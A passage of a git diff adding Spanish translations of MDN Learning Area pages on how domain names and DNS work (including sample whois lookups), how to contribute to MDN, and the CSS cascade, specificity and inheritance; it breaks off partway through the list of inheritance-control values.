+   <td>Primero necesitas saber <a href="/en-US/docs/Learn/How_the_Internet_works">cómo funciona Internet</a> y entender <a href="/en-US/Learn/Understanding_URLs">qué son las URLs</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprende qué son los nombres de dominio, cómo funcionan, y por qué son importantes.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><span class="seoSummary">Los nombres de dominio son una parte clave de la infraestructura de internet.  Proporcionan una dirección legible para cualquier servidor web disponible en Internet.</span></p>
+
+<p><span class="seoSummary">Cualquier computadora conectada a Internet puede ser alcanzada a partir de una dirección {{Glossary("IP")}} pública, la cual puede estar formada por 32 bits para el protocolo IPv4 (por lo general se escribe con 4 números separados por puntos entre el 0 y 255, por ejemplo, <code>173.194.121.32</code>) o por 128 bits para la versión IPv6 (formada por 8 grupos de 4 números hexadecimales separados por dos puntos, ejemplo <code>2027:0da8:8b73:0000:0000:8a2e:0370:1337</code>). Las computadoras pueden manejar estas direcciones fácilmente, pero las personas pasan trabajo para saber de quien es el servidor o que servicio ofrece, ya que un número por sí solo no dice mucho. Además las direcciones IP son difíciles de recordar y pueden cambiarse en cualquier momento. Para resolver estos problemas se usan direcciones que las personas pueden leer, que son intuitivas, fáciles de recordar y dicen mucho sobre el servicio web que ofrecen, se denominan nombres de dominio. </span></p>
+
+<h2 id="Ánalisis_del_tema">Ánalisis del tema</h2>
+
+<h3 id="Estructura_de_los_nombres_de_dominio">Estructura de los nombres de dominio</h3>
+
+<p>Un nombre de dominio tiene una estructura simple formada por varias partes (puede tener solamente una parte, dos, tres,...), separadas por puntos y <strong>se leen de derecha a izquierda</strong>:</p>
+
+<p><img alt="Anatomy of the MDN domain name" src="https://mdn.mozillademos.org/files/11229/structure.png" style="height: 76px; width: 252px;"></p>
+
+<p>Cada una de estas partes provee información específica sobre el nombre de dominio completo.</p>
+
+<ul>
+ <li>TLDs l<span style="display: none;"> </span>ocales como <code>.us</code>, <code>.fr</code>, o <code>.se</code> pueden requerir el servicio en un determinado idioma o  que esté alojado en un país específico - estan hecho para indicar que un recurso está en un idioma o país en particular.</li>
+ <li>Los TLDs que contienen <code>.gov</code> son solamente permitidos para ser usados por los departamentos de gobierno.</li>
+ <li>Los TLDs como <code>.edu</code> y <code>.ac</code> <code>.uk</code> se supone que se usen solamente en instituciones educacionales o académicas.</li>
+</ul>
+
+<dl>
+ <dt>{{Glossary("TLD")}} (Top-Level Domain) Dominio de primer nivel.</dt>
+ <dd>El TLD proporciona la información más genérica. Los TLDs les dicen a usuarios el propósito general del servicio que se esconde tras el nombre de dominio. Los TLDs más genéricos (.com, .org, .net) no requieren que los servicios web cumplan ningún criterio particular, pero algunos TLDs hacen cumplir políticas más estrictas por lo que es más claro su propósito. Por ejemplo:</dd>
+ <dd><strong style="font-size: 1rem; font-weight: 700; letter-spacing: -0.00278rem;">Etiqueta (o componente)</strong></dd>
+ <dd>Las etiquetas son lo que siguen al TLD. Una etiqueta puede se cualquier cosa desde una letra hasta una oración completa. La etiqueta localizada a la derecha antes del TLD puede ser llamada también Dominio de Nivel Secundario, en inglés <em>Secondary Level Domain</em> (SLD). Un nombre de dominio puede tener muchas etiquetas (o componentes), no es obligatorio ni necesario tener tres etiquetas para formar un nombre de dominio. Por ejemplo,    www.inf.ed.ac.uk es un nombre de dominio correcto. Para cualquier dominio sobre el que se tenga control (por ejemplo <a href="https://mozilla.org">mozilla.org</a>), uno puede crear otros nombres de dominio (a veces llamados "subdominios", por ejemplo <a href="https://developer.mozilla.org">developer.mozilla.org</a> o <a href="https://iot.mozilla.org/">iot.mozilla.org</a>).</dd>
+</dl>
+
+<h3 id="Comprar_un_nombre_de_dominio">Comprar un nombre de dominio</h3>
+
+<h4 id="¿Quién_es_propietario_de_un_nombre_de_dominio">¿Quién es propietario de un nombre de dominio?</h4>
+
+<p>No se puede “comprar un nombre de dominio”.  Se paga por el derecho de usar un nombre de dominio por uno o más años. Se pueden renovar los derechos  y la renovación tiene prioridad sobre las aplicaciones de otras personas. Pero nuncá se podrá apropiar se un nombre de dominio. Una vez que deja de pagarlo queda libre para que otras personas puedan utilizarlo.</p>
+
+<p>Las compañías llamadas registradores utilizan los registros de nombres de dominio para realizar un seguimiento de la información técnica y administrativa que lo conecta con su nombre de dominio.</p>
+
+<div class="note">
+<p><strong>Nota :  </strong>Para algunos nombres de dominio pudiera no ser un registrador quien esté a cargo de mantener el seguimiento. Por ejemplo, cada nombre de dominio bajo <code>.fire</code> es manejado por Amazon.</p>
+</div>
+
+<h4 id="Encontrar_un_nombre_de_dominio_disponible">Encontrar un nombre de dominio disponible</h4>
+
+<p>Para encontrar si un nombre de dominio dado está disponible,</p>
+
+<ul>
+ <li>Ir a un sitio web de registro de nombres de dominio. La mayoría de ellos, tienen un servicio "whois" que te dice si un nombre de dominio está disponible.</li>
+ <li>Alternativamente, si usted usa un sistema con un shell incorporado, escriba el comando <code>whois</code>, como se muestra aquí para <code>mozilla.org</code>:</li>
+</ul>
+
+<pre>$ whois mozilla.org
+Domain Name:MOZILLA.ORG
+Domain ID: D1409563-LROR
+Creation Date: 1998-01-24T05:00:00Z
+Updated Date: 2013-12-08T01:16:57Z
+Registry Expiry Date: 2015-01-23T05:00:00Z
+Sponsoring Registrar:MarkMonitor Inc. (R37-LROR)
+Sponsoring Registrar IANA ID: 292
+WHOIS Server:
+Referral URL:
+Domain Status: clientDeleteProhibited
+Domain Status: clientTransferProhibited
+Domain Status: clientUpdateProhibited
+Registrant ID:mmr-33684
+Registrant Name:DNS Admin
+Registrant Organization:Mozilla Foundation
+Registrant Street: 650 Castro St Ste 300
+Registrant City:Mountain View
+Registrant State/Province:CA
+Registrant Postal Code:94041
+Registrant Country:US
+Registrant Phone:+1.6509030800
+</pre>
+
+<p>Como se observa, no se puede registrar <code>mozilla.org</code> porque la fundación de Mozilla ya ha sido registrada.</p>
+
+<p>Por otra parte, veamos si se puede registrar <code>afunkydomainname.org</code>:</p>
+
+<pre>$ whois afunkydomainname.org
+NOT FOUND
+</pre>
+
+<p>Como se observa, el dominio no existe en la base de datos de <code>whois</code> (en el momento que se escribió), por lo que pudiéramos pedir registrarlo. ¡Bueno para saber!</p>
+
+<h4 id="Obtener_un_nombre_de_dominio">Obtener un nombre de dominio</h4>
+
+<p>El proceso es bastante sencillo:</p>
+
+<ol>
+ <li>Ir a un sitio de registro.</li>
+ <li>Generalmente hay un letrero que llama la atención que dice “Get a domain name”. Hacer click en él.</li>
+ <li>Rellenar el formulario con todos los detalles requeridos. Asegúrese de no haber escrito incorrectamente el nombre de dominio deseado. ¡Una vez que esté pagado, es muy tarde!.</li>
+ <li>El registrador te permitirá conocer cuando un nombre de dominio esté correctamente registrado. Dentro de unas pocas horas, todos los servidores DNS habrán recibido su información de DNS.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota:</strong> En este proceso se le pide su dirección real. Asegúrese de escribirla correctamente, ya que en algunos países los registradores pueden verse obligados a cerrar el dominio si no pueden proporcionar una dirección válida. </p>
+</div>
+
+<h4 id="Actualización_de_DNS">Actualización de DNS </h4>
+
+<p>Las bases de datos DNS son almacenadas en cada servidor DNS del mundo, y todos ellos hacen referencia a unos pocos denominados "servidores de nombre autoritario" o "servidores DNS de primer nivel". Cuando su registrador crea o actualiza alguna información para un dominio dado, la información tiene que ser actualizada en cada base de datos DNS. Cada servidor DNS que conoce sobre un dominio dado almacena la información por algún tiempo antes de que sea automáticamente invalidada y luego actualizada ( el servidor DNS consulta un servidor autoritario nuevamente). De esta manera, a los servidores DNS que conocen este nombre de dominio les toma algún tiempo poner la información al día.</p>
+
+<div class="note">
+<p><strong>Nota :</strong> Este tiempo es amenudo llamado <strong>tiempo de propagación</strong> . Sin embargo, este término no es preciso puesto que la actualizaciónn no se está propagando en sí (primer nivel → nivel inferior). Los servidores DNS consultados por su computadora (nivel inferior) son los que obtienen la información del servidor autoritario(primer nivel) cuando lo necesitan. </p>
+</div>
+
+<h3 id="¿Cómo_funciona_una_petición_DNS">¿Cómo funciona una petición DNS?</h3>
+
+<p>Como ya hemos visto, cuando usted quiere visualizar una página web en su navegador es más simple escribir un nombre de dominio que una dirección IP.  Echemos un vistazo al proceso: </p>
+
+<ol>
+ <li>Escriba <code>mozilla.org</code> en la barra de direcciones de su navegador.</li>
+ <li>Su navegador le pregunta a su computadora si reconoce la dirección IP identificada por este nombre de dominio (usando una caché DNS local) Si lo hace, el nombre es traducido a la IP y el navegador gestiona el contenido con el servidor web. Fin de la historia.</li>
+ <li>Si la computadora no sabe qué IP está detrás del nombre <code>mozilla.org</code>, hay que pedírselo a un servidor DNS, cuyo trabajo es precisamente decirle a la computadora cuál es la dirección IP de cada nombre de dominio registrado.</li>
+ <li>Ahora que la computadora conoce la dirección IP requerida, su navegador puede gestionar contenidos con el servidor web.</li>
+</ol>
+
+<p><img alt="Explanation of the steps needed to obtain the result to a DNS request" src="https://mdn.mozillademos.org/files/8961/2014-10-dns-request2.png" style="height: 702px; width: 544px;"></p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Bien, hemos hablado mucho sobre procesos y arquitectura. Es hora de seguir adelante.</p>
+
+<ul>
+ <li>Si quieres ponerte manos a la obra, es buen momento para comenzar a profundizar en el diseño y explorar <a href="/es/docs/Learn/Common_questions/dise%C3%B1os_web_comunes">la estructura de una página web</a>.</li>
+ <li>Vale la pena señalar que algunos aspectos de construcción de un sitio web cuestan dinero. Por favor, remítase a <a href="/en-US/docs/Learn/How_much_does_it_cost">cuánto cuesta construir un sitio web</a>.</li>
+ <li>O lea más sobre <a href="https://es.wikipedia.org/wiki/Dominio">Nombre de Dominio</a> en la Wikipedia.</li>
+ <li>Puede encontrar además <a href="https://howdns.works/">aquí</a> una explicación colorida y divertida de cómo los DNS trabajan.</li>
+</ul>
diff --git a/files/es/learn/como_contribuir/index.html b/files/es/learn/como_contribuir/index.html
new file mode 100644
index 0000000000..6cc600f24d
--- /dev/null
+++ b/files/es/learn/como_contribuir/index.html
@@ -0,0 +1,88 @@
+---
+title: ¿Cómo contribuir al Área de Aprendizaje en MDN?
+slug: Learn/Como_Contribuir
+tags:
+  - Aprender
+  - Documentación
+  - Guía
+  - MDN Meta
+  - Principiante
+  - contribuir
+  - 'l10n:priority'
+translation_of: Learn/How_to_contribute
+---
+<div>{{LearnSidebar}}</div>
+
+<p><br>
+ <span style="line-height: 1.5;">Si estás aqui, es probable que sea porque estas interesado en contribuir al área de aprendizaje de MDN. ¡Una noticia estupenda!</span></p>
+
+<p><span class="seoSummary">En esta página encontrarás todo lo que necesitas para comenzar ayudando a mejorar el contenido de aprendizaje en MDN. Hay muchas cosas que puedes hacer, dependiendo de cuanto tiempo tienes y de si eres <a href="/en-US/Learn/How_to_contribute#I'm_a_beginner">principiante</a>, <a href="/en-US/Learn/How_to_contribute#I'm_a_web_developer">desarrollador web</a>, o <a href="/en-US/Learn/How_to_contribute#I'm_a_teacher">profesor</a>.</span></p>
+
+<div class="note">
+<p><strong>Nota:</strong> Si ya eres colaborador de MDN, no dudes en volver a revisar la <a href="/en-US/docs/MDN/Doc_status/Learn">página de status de la documentación</a> para mantener un seguimiento del trabajo que se ha realizado y observar cuáles son nuestras prioridades de escritura.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota:</strong> Los colaboradores usan<a href="https://trello.com/b/LDggrYSV"> tableros de Trello</a> para organizar sus actividades. Si quieres usarlos, no tienes más que <a href="https://trello.com/signup">crearte una cuenta de Trello </a>y avisar a <a href="/en-US/docs/MDN/Contribute/Drivers_and_curators">Jeremie</a> para que te deje editar el tablero.</p>
+</div>
+
+<h2 id="Soy_principiante">Soy principiante</h2>
+
+<p>¡Genial! Los principiantes son muy importantes y valiosos para crear y dar retroalimentación sobre el material de aprendizaje. Tú tienes una perspectiva única sobre estos artículos como miembro de la audiencia a la que están dirigidos, lo cual puede convertirte en un miembro de incalculable valor para nuestro equipo. De hecho, si estás aprendiendo algo de uno de nuestros artículos y te encuentras atascado, o tienes las sensación de que el artículo es algo confuso, puedes modificarlo tú mismo o simplemente informarnos para que podamos resolverlo.</p>
+
+<p>Colaborar es un gran modo de divertirse mientras se aprenden cosas nuevas. Si alguna vez te sientes perdido o tienes algunas preguntas, no dudes en contactarnos a través de <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">nuestra lista de correo </a>o <a href="/en-US/docs/MDN/Community#Get_into_IRC">nuestro canal IRC</a> (ve al final de la página para más detalles).</p>
+
+<p>A continuación puedes encontrar algunas formas de las que puedes contribuir:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Tag">Añade etiquetas a nuestros artículos</a> (<em>5 min</em>)</dt>
+ <dd>Etiquetar contenido de MDN es una de las formas más sencillas de contribuir a MDN. Como muchas de las características de nuestra plataforma usan etiquetas para ayudar a presentar la información en contexto, la ayuda con el etiquetado es una contribución muy valiosa. Echa un vistazo a la lista de <a href="/en-US/docs/MDN/Doc_status/Glossary#No_tags">entradas del glosario</a> y a los <a href="/en-US/docs/MDN/Doc_status/Learn#No_tags">artículos de aprendizaje</a> sin etiquetas para comenzar.</dd>
+ <dt><a href="/en-US/docs/Glossary">Lee y revisa una entrada de glosario</a> (<em>15 min</em>)</dt>
+ <dd>Como principiante, necesitamos que tu vista fresca revise nuestro contenido. Si encuentras alguna entrada del glosario difícil de entender, significa que hay que mejorarla. No dudes en realizar cualquier cambio que estimes oportuno. Si crees que no tienes las habilidades adecuadas para editar la entrada, puedes contactarnos <span style="line-height: 1.5;">a través de </span><a href="/en-US/docs/MDN/Community#Join_our_mailing_lists" style="line-height: 1.5;">nuestra lista de correo</a>.</dd>
+ <dt><a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Escribe una nueva entrada de glosario </a>(<em>1 hora</em>)</dt>
+ <dd>Esta es la forma más eficaz de aprender algo nuevo. Elige un concepto que quieras comprender y, mientras aprendes, escribe una entrada del glosario sobre dicho concepto. Explicar algo a otros es un buen modo de "fijar" el conocimiento a tu cerebro y de ayudarte a darle sentido a las cosas. Todo mientras ayudas a otras personas. ¡Gana todo el mundo!</dd>
+ <dt><a href="/en-US/Learn/Index">Lee y revisa un artículo de aprendizaje</a> (<em>2 horas</em>)</dt>
+ <dd>Esto es bastante similar a revisar entradas del glosario (ver arriba); aunque lleva más tiempo, ya que estos artículos son un poco más largos.</dd>
+</dl>
+
+<h2 id="Soy_desarrollador_web">Soy desarrollador web</h2>
+
+<p>¡Fantástico! Tus habilidades técnicas son justo lo que necesitamos para asegurarnos de que proporcionamos contenido técnicamente preciso para los principiantes. Como esta parte específica de MDN está dedicada al aprendizaje de la web, asegúrate de explicar las cosas de la forma más sencilla posible. Pero procura no pasarte de sencillez, ya que entonces el contenido deja de ser útil. Es más importante que se comprenda a que sea innecesariamente preciso.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Glossary">Lee y revisa una entrada de glosario</a> (<em>15 min</em>)</dt>
+ <dd>Como desarrollador web, te necesitamos para asegurarnos de que nuestro contenido es técnicamente correcto sin ser demasiado pedante. No dudes en realizar cualquier cambio que creas necesario. Si quieres debatir sobre el contenido antes de editarlo, danos un toque<span style="line-height: 1.5;"> </span><a href="/en-US/docs/MDN/Community#Join_our_mailing_lists" style="line-height: 1.5;">a nuestra lista de correo</a> o al <a href="/en-US/docs/MDN/Community#Get_into_IRC">canal IRC</a>.</dd>
+ <dt><a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Escribe una nueva entrada de glosario</a> (<em>1 hora</em>)</dt>
+ <dd>Clarificar nuestra jerga técnica es un muy buen modo de aprender y ser técnicamente preciso y simple. La gente con menos experiencia te lo agradecerá. Tenemos <a href="/en-US/docs/Glossary#Contribute">muchos términos indefinidos</a> que necesitan tu atención. Escoge uno y listo.</dd>
+ <dt><a href="/en-US/Learn/Index">Lee y revisa un artículo de aprendizaje</a> (<em>2 horas</em>)</dt>
+ <dd>Esto es lo mismo que revisar entradas del glosario (ver arriba); aunque lleva un poco más de tiempo, ya que estos artículos son un poco más largos.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">Escribe un nuevo artículo de aprendizaje</a> (<em>4 horas</em>)</dt>
+ <dd>En MDN hacen falta artículos sencillos y prácticos sobre el uso de tecnologías web (<a href="/en-US/docs/Learn/CSS">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>, etc). Incluso tenemos contenido viejo en MDN que merece ser revisado y reformado. Lleva tus habilidades al límite para lograr que las tecnologías web puedan ser utilizadas incluso por principiantes.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Crea ejercicios, ejemplos de código o herramientas de aprendizaje interactivo</a> (<em>? horas</em>)</dt>
+ <dd>Todos nuestros artículos de aprendizaje requieren lo que nosotros llamamos materiales de "aprendizaje activo", porque la gente aprende mejor haciendo las cosas por sí mismos. Materiales como ejercicios o contenido interactivo que ayude a los usuarios a aplicar y manejar los conceptos detallados en un artículo. Hay muchas formas de crear contenido de aprendizaje activo, desde crear ejemplos de código con <a href="http://jsfiddle.net" rel="external">JSFiddle</a> o similares, hasta crear contenido interactivo completamente hackeable con <a href="https://thimble.webmaker.org/" rel="external">Thimble</a>. ¡Libera tu creatividad!</dd>
+</dl>
+
+<h2 id="Soy_profesor">Soy profesor</h2>
+
+<p>MDN tiene un largo historial de excelencia técnica, pero necesitamos ayuda para mostrar el camino a los principiantes en conceptos técnicos. Aqué es donde entras tú, como profesor o educador. Puedes ayudarnos a asegurar que nuestro material se provee de forma adecuada y práctica para nuestros lectores.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Glossary">Lee y revisa una entrada en el glosario</a> (<em>15 min</em>)</dt>
+ <dd>Comprueba una entrada en el glosario y siéntete libre de hacer todos los cambios que creas que son necesarios. Si quieres discutir el contenido antes de editarlo, danos un toque en nuestra <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists" style="line-height: 1.5;">lista de correo </a> or <a href="/en-US/docs/MDN/Community#Get_into_IRC">Canal de chat IRC</a>.</dd>
+ <dt><a href="/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">Escribir una nueva entrada de glosario</a> (<em>1 hora</em>)</dt>
+ <dd><span id="result_box" lang="es"><span>Las definiciones simples y claras de los términos y las descripciones básicas de los conceptos en el glosario son fundamentales para satisfacer las necesidades de los principiantes.</span> <span>Su experiencia como educador puede ayudar a crear excelentes entradas de glosario;</span> <span>tenemos</span></span>  <a href="/en-US/docs/Glossary#Contribute">muchos terminos indefinidos</a> que necesitan de su atención. Escoge uno y ve por él.</dd>
+ <dt><a href="/en-US/docs/tag/needsSchema">Añadir ilustraciones y/o esquemas a los artículos</a> (<em>1 hora</em>)</dt>
+ <dd>Como ya sabrás, Las ilustraciones son parte invaluable de cualquier contenido de aprendizaje. Esto es algo que generalmente falta en MDN y tus habilidades pueden haer la diferencia en esta área. Mira en los <a href="/en-US/docs/tag/needsSchema">artículos que le falan contenido ilustrativo</a> y escoge uno al que te gustaría crearle los gráficos.</dd>
+ <dt><a href="/en-US/Learn/Index">Leer y revisar un artículo de aprendizaje</a> (<em>2 horas</em>)</dt>
+ <dd><span id="result_box" lang="es"><span>Esto es similar a revisar las entradas del glosario (ver arriba), pero requiere más tiempo ya que los artículos son bastante más largos</span></span> .</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">Escribir un nuevo artículo de aprendizaje</a> (<em>4 horas</em>)</dt>
+ <dd><span id="result_box" lang="es"><span title="We need simple, straightforward articles about the Web ecosystem and other functional topics around it.">Necesitamos artículos simples y directos sobre el ecosistema web y otros temas funcionales a su alrededor. </span><span title="Since these learning articles need to be educational rather than trying to literally cover everything there is to know, your experience in knowing what to cover and how will be a great asset.
+">Dado que estos artículos de aprendizaje deben ser educativos en lugar de tratar de cubrir literalmente todo lo que hay que saber, su experiencia en saber qué cubrir y cómo será una gran ventaja</span></span>.</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Crear ejercicios, cuestionarios o herramientas interactivas de aprendizaje</a> (<em>? horas</em>)</dt>
+ <dd><span id="result_box" lang="es"><span title='All our learning articles require what we call "active learning" materials.'>Todos nuestros artículos de aprendizaje requieren lo que llamamos materiales de "aprendizaje activo". </span><span title="Such materials are exercises or interactive content which help a user learn to use and expand upon the concepts detailed in an article.">Dichos materiales son ejercicios o contenido interactivo que ayudan al usuario a aprender a usar y ampliar los conceptos detallados en un artículo. </span><span title="There are lots of things you can do here, from creating quizzes to building fully hackable interactive content with Thimble.">Aquí puede hacer muchas cosas, desde crear concursos hasta crear contenido interactivo completamente pirateable con</span></span>  <a href="https://thimble.webmaker.org/" rel="external">Thimble</a>. Da rienda suelta a tu creatividad!</dd>
+ <dt><a href="/en-US/docs/MDN/Contribute/Howto/Create_learning_pathways">Crea rutas de aprendizaje</a> (<em>? horas</em>)</dt>
+ <dd><span id="result_box" lang="es"><span title="In order to provide progressive and comprehensible tutorials, we need to shape our content into pathways.">Con el fin de proporcionar tutoriales progresivos y comprensibles, tenemos que dar forma a nuestro contenido en rutas. </span><span title="It's a way to gather existing content and figure out what is missing to create a learning article to write">Es una forma de recopilar contenido existente y descubrir lo que falta para crear un artículo de aprendizaje para escribir</span></span> .</dd>
+</dl>
diff --git a/files/es/learn/css/building_blocks/cascada_y_herencia/index.html b/files/es/learn/css/building_blocks/cascada_y_herencia/index.html
new file mode 100644
index 0000000000..91a359181f
--- /dev/null
+++ b/files/es/learn/css/building_blocks/cascada_y_herencia/index.html
@@ -0,0 +1,333 @@
+---
+title: Cascada y herencia
+slug: Learn/CSS/Building_blocks/Cascada_y_herencia
+translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
+---
+<div>{{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</div>
+
+<p>El objetivo de este artículo es desarrollar la comprensión de algunos de los conceptos fundamentales de CSS (cascada, especificidad y herencia) que controlan cómo se aplica el CSS al HTML y cómo se resuelven los conflictos.</p>
+
+<p>A medida que avances en este apartado verás que puede resultar menos relevante y un poco más académico que otros artículos, pero la comprensión de estas cuestiones te ahorrará problemas más adelante. Te animamos a que trabajes meticulosamente este apartado y verifiques que entiendes los conceptos antes de continuar.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, tener el <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico">software básico instalado</a>, conocimientos básicos de <a href="https://developer.mozilla.org/es/docs/Learn/Getting_started_with_the_web/Manejando_los_archivos">trabajar con archivos</a>, HTML básico (véase <a href="https://developer.mozilla.org/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>) y una idea de cómo funciona el CSS (véase <a href="/es/docs/Learn/CSS/First_steps">Primeros pasos con CSS</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender qué son la cascada y la especificidad, y cómo funciona la herencia en CSS.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Reglas_conflictivas">Reglas conflictivas</h2>
+
+<p>CSS significa <strong> hojas de estilo en cascada</strong> (cascading style sheets), y es muy importante entender la palabra <em>cascada</em>. La forma en que se comporta la cascada es la clave para comprender el CSS.</p>
+
+<p>En algún momento trabajarás en un proyecto y encontrarás que el CSS que pensabas que debería aplicarse a un elemento no funciona. Por lo general, el problema suele ser que has creado dos normas que podrían aplicarse al mismo elemento. La <strong>cascada</strong>, y el concepto estrechamente relacionado de <strong>especificidad</strong> son mecanismos que controlan qué regla se aplica cuando aparecen tales conflictos. Es posible que la regla que se apliuca finalmente a tu elemento no sea la que esperas, por lo que debes comprender cómo funcionan estos mecanismos.</p>
+
+<p>También es significativo el concepto de <strong>herencia</strong>, que significa que algunas propiedades CSS heredan por defecto los valores establecidos en el elemento padre, pero otras no. Esto también puede causar una respuesta diferente a la que esperas.</p>
+
+<p>Vamos a empezar por echar un vistazo rápido a los principales elementos que nos interesan, y a continuación veremos cómo interactúan entre sí y con tu CSS. Pueden resultar un poco difíciles de entender, pero a medida que practiques escribiendo CSS te resultará más fácil de entender la manera cómo funcionan.</p>
+
+<h3 id="Cascada">Cascada</h3>
+
+<p>En un primer nivel de simplicidad, la <strong>cascada</strong> en las hojas de estilo significa que el orden de las reglas importa en CSS: cuando dos reglas tienen la misma especificidad, se aplica la que aparece en último lugar en el CSS.</p>
+
+<p>En el ejemplo siguiente tenemos dos reglas que pueden aplicarse al <code>h1</code>. El <code>h1</code> acaba siendo de color azul porque estas normas tienen un selector idéntico y, por lo tanto, tienen la misma especificidad. Por esta razón, se aplica la última que aparece.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} </p>
+
+<h3 id="Especificidad">Especificidad</h3>
+
+<p>La especificidad es el modo que tiene el navegador de decidir qué regla se aplica si diversas reglas tienen selectores diferentes pero podrían aplicarse a un mismo elemento. Básicamente, la especificidad mide cuán específica es la selección de un selector:</p>
+
+<ul>
+ <li>Un selector de elemento es menos específico (selecciona todos los elementos de aquel tipo que aparecen en la página) por lo que presenta una puntuación más baja en especificidad.</li>
+ <li>Un selector de clase es más específico (selecciona solo los elementos de una página que tienen un valor de atributo <code>class</code> dado), y por tanto recibe una puntuación mayor.</li>
+</ul>
+
+<p>Veamos un ejemplo. Aquí abajo encontrarás dos reglas que pueden aplicarse al elemento <code>h1</code>. Este elemento <code>h1</code> termina siendo de color rojo: el selector de clase confiere a esta regla una mayor especificidad, así que se aplicará a pesar de la regla para el selector de elemento que aparece más abajo en el orden del código.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}} </p>
+
+<p>Profundizaremos en la especificidad más adelante.</p>
+
+<h3 id="Herencia">Herencia</h3>
+
+<p>La herencia también debe entenderse en este contexto: algunos valores de las propiedades CSS que se han establecido para los elementos padre los heredan los elementos hijo, pero otros no.</p>
+
+<p>Por ejemplo, si para un elemento se establece el color (<code>color</code>) y el tipo de letra (<code>font-family</code>), cada elemento que se encuentre dentro de él también se mostrará de ese color y con ese tipo de letra, a menos que les se haya aplicado un color y un tipo de letra diferentes directamente.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}} </p>
+
+<p>Algunas propiedades no se heredan. Por ejemplo, si para un elemento se establece un ancho {{cssxref("width")}} del 50%, sus descendientes no tendrán un 50% de ancho con respecto al de sus padres. Si este fuera el caso, ¡sería muy frustrante usar CSS!</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: En las páginas de referencia de las propiedades CSS de MDN encontrarás un cuadro con información técnica (por lo general, en la parte inferior de la sección de especificaciones) que enumera una serie de puntos sobre cada propiedad, incluyendo cuáles se heredan y cuáles no. Véase, por ejemplo, la <a href="/es/docs/Web/CSS/color#Especificaciones">sección de especificaciones de la propiedad color</a>.</p>
+</div>
+
+<h2 id="Comprender_cómo_trabajan_juntos_estos_conceptos">Comprender cómo trabajan juntos estos conceptos</h2>
+
+<p>Estos tres conceptos controlan qué CSS se aplica a qué elemento. En las secciones siguientes veremos cómo funcionan en conjunto. A veces puede parecer un poco complicado, pero lo irás recordando a medida que ganes experiencia con el CSS, y siempre puedes consultar los detalles si se te olvidan. ¡Incluso los desarrolladores experimentados lo hacen!</p>
+
+<h2 id="Comprender_la_herencia">Comprender la herencia</h2>
+
+<p>Vamos a empezar con la herencia. En el ejemplo siguiente tenemos un elemento {{HTMLElement( "ul")}} con dos niveles de listas no ordenadas anidadas en él. Hemos establecido para el <code>&lt;ul&gt;</code> exterior un borde, un relleno y un color de fuente.</p>
+
+<p>El color se ha aplicado a los hijos directos y también a los hijos indirectos: los elementos hijo <code>&lt;li&gt;</code> inmediatos y los que están dentro de la primera lista. A continuación, hemos añadido a la segunda lista anidada una clase especial y le hemos aplicado un color diferente, que los elementos hijo de esta heredarán.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}} </p>
+
+<p>La anchura (como se mencionó anteriormente), los márgenes, el relleno y los bordes no se heredan. Si los elementos hijo de nuestra lista heredaran los bordes, todas las listas y los elementos de lista ganarían un borde cada vez ¡y no es probable que vez quieras un efecto así!</p>
+
+<p>Las propiedades que se heredan por defecto y las que no son cuestión, en gran medida, de sentido común.</p>
+
+<h3 id="Control_de_la_herencia">Control de la herencia</h3>
+
+<p>CSS proporciona cuatro valores de propiedad universales especiales para el control de la herencia. Todas las propiedades CSS aceptan estos valores.</p>
+
+<dl>
+ <dt>{{cssxref("inherit")}}</dt>
+ <dd>Establece que el valor de la propiedad que se aplica a un elemento determinado sea exactamente igual al del elemento padre. En la práctica, esto "activa la herencia".</dd>
+ <dt>{{cssxref("initial")}}</dt>
+ <dd>Establece que el valor de la propiedad que se aplica a un elemento seleccionado tenga el mismo valor que esté establecido para esa propiedad en la hoja de estilo por defecto del navegador.</dd>
+ <dt>{{cssxref("unset")}}</dt>
+ <dd>Restablece la propiedad a su valor natural, lo que significa que si la propiedad se hereda de forma natural, actúa como <code>inherit</code>, y en caso contrario como <code>initial</code>.</dd>
+</dl>
+
+<div class="blockIndicator note">
